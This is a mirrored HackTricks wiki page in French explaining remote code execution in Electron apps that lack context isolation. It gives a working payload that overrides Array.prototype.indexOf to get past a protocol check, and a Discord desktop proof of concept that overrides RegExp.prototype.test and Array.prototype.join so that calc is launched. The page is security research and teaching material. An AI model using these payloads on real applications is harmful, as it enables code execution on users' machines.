mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
3.9 KiB
Markdown
83 lines
3.9 KiB
Markdown
# Electron contextIsolation RCE via preload code
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Exemple 1
|
|
|
|
Exemple de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
|
|
|
|
Ce code ouvre des liens http(s) avec le navigateur par défaut :
|
|
|
|
.png>)
|
|
|
|
Quelque chose comme `file:///C:/Windows/systemd32/calc.exe` pourrait être utilisé pour exécuter un calc, le `SAFE_PROTOCOLS.indexOf` l'en empêche.
|
|
|
|
Par conséquent, un attaquant pourrait injecter ce code JS via le XSS ou la navigation sur une page arbitraire :
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function () {
|
|
return 1337
|
|
}
|
|
</script>
|
|
```
|
|
Comme l'appel à `SAFE_PROTOCOLS.indexOf` renverra toujours 1337, l'attaquant peut contourner la protection et exécuter le calc. Exploit final :
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function () {
|
|
return 1337
|
|
}
|
|
</script>
|
|
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
|
```
|
|
Vérifiez les diapositives originales pour d'autres façons d'exécuter des programmes sans avoir une invite demandant des autorisations.
|
|
|
|
Apparemment, une autre façon de charger et d'exécuter du code est d'accéder à quelque chose comme `file://127.0.0.1/electron/rce.jar`
|
|
|
|
## Exemple 2 : RCE de l'application Discord
|
|
|
|
Exemple de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
|
|
|
En vérifiant les scripts de préchargement, j'ai découvert que Discord expose la fonction, qui permet à certains modules autorisés d'être appelés via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, dans la page web.\
|
|
Ici, je n'ai pas pu utiliser des modules qui peuvent être utilisés pour RCE directement, comme le module _child_process_, mais j'ai **trouvé un code où RCE peut être atteint en remplaçant les méthodes intégrées JavaScript** et en interférant avec l'exécution du module exposé.
|
|
|
|
Ce qui suit est le PoC. J'ai pu confirmer que l'application **calc** est **affichée** lorsque j'**appelle la fonction `getGPUDriverVersions`** qui est définie dans le module appelé "_discord_utils_" depuis devTools, tout en **remplaçant `RegExp.prototype.test` et `Array.prototype.join`**.
|
|
```javascript
|
|
RegExp.prototype.test = function () {
|
|
return false
|
|
}
|
|
Array.prototype.join = function () {
|
|
return "calc"
|
|
}
|
|
DiscordNative.nativeModules
|
|
.requireModule("discord_utils")
|
|
.getGPUDriverVersions()
|
|
```
|
|
La fonction `getGPUDriverVersions` essaie d'exécuter le programme en utilisant la bibliothèque "_execa_", comme suit :
|
|
```javascript
|
|
module.exports.getGPUDriverVersions = async () => {
|
|
if (process.platform !== "win32") {
|
|
return {}
|
|
}
|
|
|
|
const result = {}
|
|
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
|
|
|
|
try {
|
|
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
|
|
} catch (e) {
|
|
result.nvidia = { error: e.toString() }
|
|
}
|
|
|
|
return result
|
|
}
|
|
```
|
|
Habituellement, le _execa_ essaie d'exécuter "_nvidia-smi.exe_", qui est spécifié dans la variable `nvidiaSmiPath`, cependant, en raison de la méthode `RegExp.prototype.test` et de `Array.prototype.join` remplacées, **l'argument est remplacé par "**_**calc**_**" dans le traitement interne de _execa**_**.
|
|
|
|
Plus précisément, l'argument est remplacé en modifiant les deux parties suivantes.
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|